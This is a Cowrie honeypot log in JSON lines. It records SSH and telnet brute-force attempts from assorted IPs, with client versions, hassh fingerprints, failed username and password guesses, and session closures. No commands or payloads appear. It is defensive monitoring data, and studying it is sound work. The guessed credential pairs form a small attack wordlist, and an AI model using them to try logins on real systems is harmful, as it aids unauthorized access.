{"eventid":"cowrie.login.failed","username":"root","password":"Shadow123","message":"login attempt [root/Shadow123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:09.629230Z","src_ip":"43.162.109.147","session":"000717def27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:10.700865Z","src_ip":"43.162.109.147","session":"000717def27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.190.252.123","src_port":54178,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b60e73423c1","protocol":"ssh","message":"New connection: 113.190.252.123:54178 (159.203.135.109:22) [session: 4b60e73423c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:22.254224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:22.284164Z","src_ip":"113.190.252.123","session":"4b60e73423c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:22.826111Z","src_ip":"113.190.252.123","session":"4b60e73423c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe","message":"login attempt [root/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:25.090978Z","src_ip":"113.190.252.123","session":"4b60e73423c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:26.676294Z","src_ip":"113.190.252.123","session":"4b60e73423c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":34178,"dst_ip":"159.203.135.109","dst_port":22,"session":"2de4ab944f8d","protocol":"ssh","message":"New connection: 192.169.243.246:34178 (159.203.135.109:22) [session: 2de4ab944f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:29.579779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:29.586030Z","src_ip":"192.169.243.246","session":"2de4ab944f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:29.658370Z","src_ip":"192.169.243.246","session":"2de4ab944f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali123456","message":"login attempt [root/ali123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:29.998871Z","src_ip":"192.169.243.246","session":"2de4ab944f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":39468,"dst_ip":"10.17.0.5","dst_port":22,"session":"608fc50f7351","protocol":"ssh","message":"New connection: 95.58.255.251:39468 (10.17.0.5:22) [session: 608fc50f7351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:30.906892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:30.911957Z","src_ip":"95.58.255.251","session":"608fc50f7351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:31.080617Z","src_ip":"192.169.243.246","session":"2de4ab944f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:31.085657Z","src_ip":"95.58.255.251","session":"608fc50f7351","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux123","message":"login attempt [linux/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:31.793833Z","src_ip":"95.58.255.251","session":"608fc50f7351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:32.966661Z","src_ip":"95.58.255.251","session":"608fc50f7351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.86.102","src_port":55524,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d1836f341e5","protocol":"ssh","message":"New connection: 144.91.86.102:55524 (10.17.0.5:22) [session: 9d1836f341e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:58.260288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:58.268487Z","src_ip":"144.91.86.102","session":"9d1836f341e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:58.366147Z","src_ip":"144.91.86.102","session":"9d1836f341e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:58.779237Z","src_ip":"144.91.86.102","session":"9d1836f341e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:04:59.875424Z","src_ip":"144.91.86.102","session":"9d1836f341e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":38588,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c7d36392fb5","protocol":"ssh","message":"New connection: 200.108.174.4:38588 (159.203.135.109:22) [session: 1c7d36392fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:15.420464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:15.426554Z","src_ip":"200.108.174.4","session":"1c7d36392fb5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:15.573188Z","src_ip":"200.108.174.4","session":"1c7d36392fb5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:16.188298Z","src_ip":"200.108.174.4","session":"1c7d36392fb5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:17.337157Z","src_ip":"200.108.174.4","session":"1c7d36392fb5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"70.29.117.35","src_port":44376,"dst_ip":"10.17.0.5","dst_port":23,"session":"3092c6eede37","protocol":"telnet","message":"New connection: 70.29.117.35:44376 (10.17.0.5:23) [session: 3092c6eede37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:17.844438Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":53812,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4c50ca609f9","protocol":"ssh","message":"New connection: 43.162.109.147:53812 (10.17.0.5:22) [session: f4c50ca609f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:20.212854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:20.217706Z","src_ip":"43.162.109.147","session":"f4c50ca609f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:20.286079Z","src_ip":"43.162.109.147","session":"f4c50ca609f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"not4u2no","message":"login attempt [root/not4u2no] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:20.593153Z","src_ip":"43.162.109.147","session":"f4c50ca609f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:21.666114Z","src_ip":"43.162.109.147","session":"f4c50ca609f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.22284722328186,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:31.067147Z","src_ip":"70.29.117.35","session":"3092c6eede37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":33456,"dst_ip":"159.203.135.109","dst_port":22,"session":"80cd9d7158b5","protocol":"ssh","message":"New connection: 192.169.243.246:33456 (159.203.135.109:22) [session: 80cd9d7158b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:40.660747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:40.665251Z","src_ip":"192.169.243.246","session":"80cd9d7158b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:40.737136Z","src_ip":"192.169.243.246","session":"80cd9d7158b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:41.058065Z","src_ip":"192.169.243.246","session":"80cd9d7158b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:42.133393Z","src_ip":"192.169.243.246","session":"80cd9d7158b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":36634,"dst_ip":"10.17.0.5","dst_port":22,"session":"17757a6bed37","protocol":"ssh","message":"New connection: 95.58.255.251:36634 (10.17.0.5:22) [session: 17757a6bed37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:43.926618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:43.931179Z","src_ip":"95.58.255.251","session":"17757a6bed37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:44.097508Z","src_ip":"95.58.255.251","session":"17757a6bed37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bananas","message":"login attempt [root/bananas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:44.799329Z","src_ip":"95.58.255.251","session":"17757a6bed37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:05:45.968477Z","src_ip":"95.58.255.251","session":"17757a6bed37","protocol":"ssh"}
